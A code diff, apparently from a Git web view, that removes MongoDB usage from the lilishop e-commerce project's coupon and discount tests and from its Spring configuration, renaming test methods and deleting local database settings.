import com.baomidou.mybatisplus.core.metadata.IPage;
|
||||
import org.apache.rocketmq.spring.core.RocketMQTemplate;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
@ -36,15 +33,6 @@ class CouponTest {
|
||||
@Autowired
|
||||
private CouponService couponService;
|
||||
|
||||
@Autowired
|
||||
private GoodsSkuService goodsSkuService;
|
||||
|
||||
@Autowired
|
||||
private RocketMQTemplate rocketMQTemplate;
|
||||
|
||||
@Autowired
|
||||
private RocketmqCustomProperties rocketmqCustomProperties;
|
||||
|
||||
@Test
|
||||
void addCoupon() {
|
||||
CouponVO couponVO = new CouponVO();
|
||||
@ -161,19 +149,19 @@ class CouponTest {
|
||||
promotionGoodsList.add(promotionGoods);
|
||||
|
||||
couponVO.setPromotionGoodsList(promotionGoodsList);
|
||||
Assertions.assertNotNull(couponService.updatePromotions(couponVO));
|
||||
Assertions.assertTrue(couponService.updatePromotions(couponVO));
|
||||
}
|
||||
|
||||
@Test
|
||||
void searchFromMongo() {
|
||||
void search() {
|
||||
CouponSearchParams queryParam = new CouponSearchParams();
|
||||
queryParam.setStoreId("");
|
||||
PageVO pageVo = new PageVO();
|
||||
pageVo.setPageNumber(0);
|
||||
pageVo.setPageSize(10);
|
||||
IPage<Coupon> couponsByPageFromMongo = couponService.pageFindAll(queryParam, pageVo);
|
||||
Assertions.assertNotNull(couponsByPageFromMongo);
|
||||
couponsByPageFromMongo.getRecords().forEach(System.out::println);
|
||||
IPage<Coupon> couponsByPage = couponService.pageFindAll(queryParam, pageVo);
|
||||
Assertions.assertNotNull(couponsByPage);
|
||||
couponsByPage.getRecords().forEach(System.out::println);
|
||||
}
|
||||
|
||||
@Test
|
||||
|
@ -71,7 +71,7 @@ class FullDiscountTest {
|
||||
}
|
||||
|
||||
@Test
|
||||
void searchFromMongo() {
|
||||
void search() {
|
||||
PageVO pageVo = new PageVO();
|
||||
pageVo.setPageSize(10);
|
||||
pageVo.setPageNumber(0);
|
||||
@ -79,9 +79,9 @@ class FullDiscountTest {
|
||||
pageVo.setSort("startTime");
|
||||
pageVo.setOrder("asc");
|
||||
|
||||
IPage<FullDiscount> fullDiscountByPageFromMongo = fullDiscountService.pageFindAll(new FullDiscountSearchParams(), null);
|
||||
IPage<FullDiscount> fullDiscountByPage = fullDiscountService.pageFindAll(new FullDiscountSearchParams(), null);
|
||||
|
||||
Assertions.assertNotNull(fullDiscountByPageFromMongo);
|
||||
Assertions.assertNotNull(fullDiscountByPage);
|
||||
}
|
||||
|
||||
@Test
|
||||
|
@ -29,15 +29,6 @@ spring:
|
||||
admin:
|
||||
client:
|
||||
url: http://127.0.0.1:8000
|
||||
# mongodb
|
||||
data:
|
||||
mongodb:
|
||||
uri: 127.0.0.1:27017
|
||||
database: lilishop
|
||||
username: root
|
||||
password: lilishop
|
||||
authentication-database: admin
|
||||
# replica-set-name: mongoreplset
|
||||
cache:
|
||||
type: redis
|
||||
# Redis
|
||||
@ -171,7 +162,6 @@ logging:
|
||||
cn.lili: info
|
||||
# org.hibernate: debug
|
||||
# org.springframework: debug
|
||||
# org.springframework.data.mongodb.core: debug
|
||||
file:
|
||||
# 指定路径
|
||||
path: lili-logs
|
||||
|
Loading…
x
Reference in New Issue
Block a user